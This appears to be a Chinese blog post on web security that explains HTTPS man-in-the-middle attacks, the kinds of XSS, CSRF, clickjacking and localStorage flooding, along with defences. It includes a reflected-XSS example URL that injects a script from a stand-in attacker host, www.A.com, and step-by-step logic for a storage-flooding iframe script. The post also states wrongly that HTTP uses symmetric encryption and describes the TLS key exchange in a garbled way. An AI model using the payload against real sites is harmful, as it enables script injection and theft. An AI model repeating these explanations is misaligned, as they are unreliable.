Web安全

683 阅读13分钟

Web安全攻防

HTTP与HTTPS

由于HTTP协议的明文传输特性,导致它容易受到攻击或窃取,现在的用户信息中存在越来越多的隐私,安全成为了一个非常重要的因素,所以基于HTTP协议的HTTPS协议诞生了。

HTTP采取对称加密的加密模式,对称加密可以理解为,你家里的钥匙能打开你家的门,但是却打不开别人家的门,一把钥匙只对应一把锁,存在对称性。但是如果你的钥匙不小心弄丢了被捡走了或者被别人盗取了,那个人也可以开你家的门,所以你家的门认的不是你这个人,而是只认对应它的那个钥匙。
所以HTTP容易被一个叫做中间人的恶意分子攻击,中间人可以在客户端和服务端进行身份认证的过程中截取密钥冒充客户端,也可以假冒服务端骗取用户的密钥,也可以向客户端嵌入恶意代码窃取密钥,反正只要谁有密钥,谁就可以是这个用户。

HTTPS

HTTPS采取HTTP+SSL/TLS的传输模式,SSL与TLS都是在传输层和应用层之间附加的一层协议,加密算法为对称加密与非对称加密相结合的加密形式。服务器会生成两种密钥,一种叫公钥,一种叫私钥,私钥始终捏在服务器手里,公钥会被服务器用私钥加密后发给客户端,所以被发出去的公钥也只能被服务器用私钥解密。客户端会将要发送给服务端认证的身份信息、公钥以及之后对称加密的密码(一个随机串)一起加密后返回服务端,服务端用自己的私钥解密后拿到信息并进行身份认证,最后告诉客户端认证成功了,后面我们用你的随机串作为密码进行对称加密交流就行了。

非对称加密可以理解为,你家装上了一个指纹识别的防盗门,你(服务端)的指纹(私钥)是独一无二的,除了你之外没有人能够打开这个门,当然同样你的指纹也打不开别人家的门。假设有一天你想邀请多年未见的朋友A(客户端)来你家做客,但是无论如何A也进不了你家的门,而且多年未见导致你也记不清他的模样了。于是你发了一张请帖(公钥)给他,最后A会带着请帖来找你,你见到A后就记住了他的模样,以后就再也不需要请帖了。

因为你已经记住了朋友A,以后他每次找你其实也可以都带上请帖,但是会很麻烦。对于客户端和服务端而言也是同理,非对称加密会产生每次公钥交换与加密解密的性能消耗(大量),后面传输的一些不重要的与非隐私的信息没有必要也这样,一是这些信息就算被截取了也没影响,二是对于网络传输而言速度是非常重要的。总而言之就是,HTTP的用户名密码这些身份认证相关的或者其他的重要信息在HTTPS中利用非对称加密传输,认证通过后的什么昵称啊、性别啊这些或者其他的不重要的信息还是利用对称加密传输就可以了。但是你以为这样就安全了吗,太年轻了。

HTTPS中间人攻击

当服务器发送公钥时,黑客将公钥截取,然后用自己的私钥加密了一份自己的公钥发送给了客户端,客户端拿到公钥后将要传输的重要信息和公钥一起加密后把公钥还给服务端,黑客同样截取了这个公钥。这里注意,这个公钥是黑客给客户端的,服务端给客户端的公钥被黑客截取后拿在手里没有给客户端,所以黑客是可以用自己的私钥解密的。最后黑客将截取的服务端的公钥、客户端的身份信息和随机串一起加密后还给服务端(在这个过程中黑客甚至可以篡改这些数据),因为公钥是正确的,身份信息也是正确的,所以服务端会通过本次验证,至此攻击完成。

防范措施

所以在非对称加密中客户端也需要认证服务器的信息以确保服务器不是黑客,因此服务器在公钥中加入了证书认证信息,客户端也会在本机内置一份证书链。在验证服务器证书时顺着证书链查找,直到根证书都没有找到的话将会提示用户,这不是一个私密连接确定是否继续访问。

那么有人会问,黑客既然可以伪造公钥,自然也可以伪造证书啊,所以这个证书是需要由一个权威的第三方机构颁发的,一般是CA机构。因为证书需要进行算法加密等操作来生成需要一定的成本,所以是需要收费的,功能越强大的证书费用越高,但是也越安全。有些应用不想花费这个费用从而选择了自己生成证书,这将会再次面临HTTPS中间人攻击的风险,当然,这些应用或许本身就不需要这么高的安全性。

毕竟,在网络安全中有一句名言:当攻击者所要付出的成本高于所得利益时,这个应用就是安全的。

XSS攻击

由于在HTML中JS脚本是可以嵌入的,比如通过script标签、img标签或a标签等,XSS攻击就是一种在前端嵌入恶意代码进行密钥窃取的攻击方式。自前后端分离后,前端面临的攻击手段和安全因素越来越多,黑客可以通过曲线救国的方式绕过后端利用前端向服务器进行攻击,XSS就是其中之一。

反射型XSS

黑客伪造一个带有XSS脚本的链接诱导用户进行点击,这个链接跳转的地址就是将要被攻击的目标网址,只是在url里带入了恶意脚本。当用户点击了链接后,浏览器会将带有恶意脚本的资源请求发给服务端,而服务端也将恶意脚本嵌入HTML中返回浏览器,此时这段恶意代码就被浏览器执行了。

假设黑客A想要攻击网站B,然后黑客A伪造了一个链接www.B.com?message="<script src="www.A.com/A.js"></scr…

这时候有人就想问了,用户真的会这么傻乎乎么?上文中提到了,XSS攻击并不需要针对是哪一个用户,所以黑客完全可以广撒网,我们可以想象一下几年前盛行的一些事情。莫名其妙收到了一条带有一个链接的短信或邮件,外加一个恭喜您中大奖之类的钓鱼文案,更高级一点的还有冒充公司或者学校让你点进链接填写信息,世界这么大,总有人会中招。

存储型XSS

反射型XSS攻击的要求有点高,毕竟被钓过一次鱼后就会长记性了,再加上警察叔叔们的辛勤推广,正道之光终将降临。大家都开始不轻易点一些奇怪的链接了,只要不点,啥事没有。但是邪恶势力也不是这么容易就会屈服的,于是他们又找到了另一种攻击手段--存储型XSS。

黑客将恶意代码提交到服务器中一直保存着,当用户访问时,服务器将恶意代码返回,此时浏览器将会执行它们,可恶,又中招了。

假设黑客A还是想要攻击网站B,然后黑客A学聪明了,我不需要通过用户的操作,我直接来攻击你,让用户无感知,这样还不容易被发现,完美,你的网站总不可能没有用户交互吧,比如掘金可以写文章、淘宝京东可以发评论、知乎QQ可以发私信等。
于是黑客A自己注册了一个账号,写了一篇文章或者评论,其中包含了恶意脚本,然后点击提交按钮,万事俱备只欠东风,一旦有哪个倒霉蛋用户看了这篇文章或者评论就中招了。

Dom型XSS

Dom型XSS只能怪前端写得代码有问题了,把不可信的数据作为HTML插入到了页面,可能是滥用了innerHTML、outerHTML、appendChild、document.write等API,完全可以使用innerText、textContent等,这时候就跟服务端和用户都没有关系了。

防范措施

如今React、Vue等主流前端框架都已经帮助开发者进行了防御,使用了这些框架的前端开发人员只要不做一些乱七八糟的骚操作正常开发完全不用担心XSS攻击。如果是脱离框架进行的原生开发或者自研框架,最好前后端一起针对能够嵌入JS脚本的标签做字符串转义,毕竟如果只有前端做,黑客完全可以曲线救国利用Postman之类的工具绕过前端直接向后端发起进攻。

除此之外,各大浏览器也对url做了转义进行防御,像上文中提到的www.B.com?message="<script src="www.A.com/A.js"></scr…

例如React在通过React.createElement创建VDom的时候就对潜在的危险script标签做了innerHTML的转换,避免脚本直接执行。

//React核心源码
if (type === 'script') {
  // Create the script via .innerHTML so its "parser-inserted" flag is
  // set to true and it does not execute
  const div = ownerDocument.createElement('div');
  if (__DEV__) {
    if (enableTrustedTypesIntegration && !didWarnScriptTags) {
      console.error(
        'Encountered a script tag while rendering React component. ' +
          'Scripts inside React components are never executed when rendering ' +
          'on the client. Consider using template tag instead ' +
          '(https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template).',
      );
      didWarnScriptTags = true;
    }
  }
  div.innerHTML = '<script><' + '/script>'; // eslint-disable-line
  // This is guaranteed to yield a script element.
  const firstChild = ((div.firstChild: any): HTMLScriptElement);
  domElement = div.removeChild(firstChild);
}

然后在commit阶段对除了dangerouslySetInnerhtml(上文所说的一些乱七八糟的骚操作之一)设置的节点中的text做textContent的转换。

//React核心源码
if (propKey === STYLE) {
  setValueForStyles(domElement, propValue);
} else if (propKey === DANGEROUSLY_SET_INNER_HTML) {
  setInnerHTML(domElement, propValue);
} else if (propKey === CHILDREN) {
  setTextContent(domElement, propValue);
} else {
  setValueForProperty(domElement, propKey, propValue, isCustomComponentTag);
}

CSRF攻击

CSRF攻击和反射型XSS攻击有点类似,都是通过伪造链接诱导用户点击从而达成攻击目的,不同点是反射型XSS窃取了用户的密钥或者隐私信息,而CSRF只是冒充用户而拿不到用户的密钥或者隐私信息。另外,CSRF需要攻击者伪造一个网站,而反射型XSS是直接对目标网站进行攻击。

假设黑客A依旧想要对网站B进行攻击,首先黑客A伪造了一个自己的网站和链接,并把这个链接放入到网站B中,可以是评论区,可以是通过给某用户发私信,也可以是自己的博客文章。这时候用户C登录了网站B通过了身份认证并看到了黑客A的链接,当用户C进行了点击后跳转到了黑客A伪造的网站,这时候黑客A的网站中的恶意代码触发,假冒用户C的身份向网站B发起请求,至此攻击完成。
所以现在的博客网站,就以掘金为例,在用户点击了别的外域链接即将进行跳转前,会弹出一个提示页面告知用户风险,这就是预防CSRF攻击的措施之一。

防范措施

目前防御CSRF最主流的措施就是利用token,除此之外还有双重cookie认证、samesitecookie认证等,包括浏览器设置的同源策略也起到了防范CSRF攻击的作用。

点击劫持

点击劫持顾名思义就是伪造一个按钮诱导用户进行点击从而达成攻击目的,还可以配合反射型XSS攻击或CSRF攻击实现,这种攻击方式主要得利于iframe技术,但是对于黑客而言需要的成本较高,因此没有以上两种攻击方式盛行。

假设黑客A十分坚持不懈,或者对网站B带有仇恨,这次他又针对网站B下手了,首先黑客A伪造了一个自己的网站并利用iframe技术或者其他方式将网站B嵌入到自己的网站中,然后利用隐藏技术(css或双iframe)将网站B隐藏,最后将自己的网站中的伪造按钮在视觉上覆盖网站B的真实按钮(如css的z-index)。这时候用户C被黑客A引诱到了伪造的网站并且在访问过程中点击了伪造按钮(实际上却是点击了网站B的按钮),至此攻击完成

防御措施

可以利用认证码来确认是不是用户本人触发的点击操作,现在各大网站也是这么做的,比如拖动滑块到缺口位置、辨别图片的方向或找出不一样的图片等。除此之外,新版本的各大浏览器都已经针对点击劫持进行了应有的防御,但是对于开发者来说,还是要注意自己的系统实现代码是否有比较严重的安全隐患。

localstorage无限存储

localstorage无限存储同样是利用嵌入iframe的方式进行攻击,由于localstorage是存在本地磁盘中的,所以浏览器对它作出了最大存储大小限制,但是这个限制的前提条件是符合同源策略的情况下。所以localstorage在跨域的情况下,是可以实现无限存储的,而无限存储最终导致的后果就是把磁盘写崩。

但是这种攻击方式对于黑客来说没有丝毫的收益,比如上述的攻击方式如果针对的网站B是银行,用户C是土豪,黑客可以得到大量白花花的银子,而这种方式只是纯粹的报复。

我们锲而不舍的黑客A又想搞坏事了,他早就看用户C不爽很久了,于是这次他想让用户C尝点苦头。首先黑客A伪造了一个网站并在网站中放入一些吸引性的内容保证可以留住用户C一段时间,然后写了一段脚本,当进入网站后自动执行。

这一段脚本做了如下事情:
1、建立一个循环,循环中计数,也就是我们经常写得类似于for (let i = 0; i < 10000; i++)这样的,每个数代表一个端口。
2、根据当前数字对应的端口嵌入iframe去请求这个端口并持续向localstorage中写入数据,直到写满5M(移动端一般是2.5M)。
3、由于浏览器对iframe的嵌套也有限制,如果达到限制就利用window.location.href重定向一次。
4、如此循环反复,用户C的电脑会越来越卡直到蓝屏。

防御措施

这个简单,及时关掉浏览器,或者坚信90%的问题都可以靠及时重启来解决。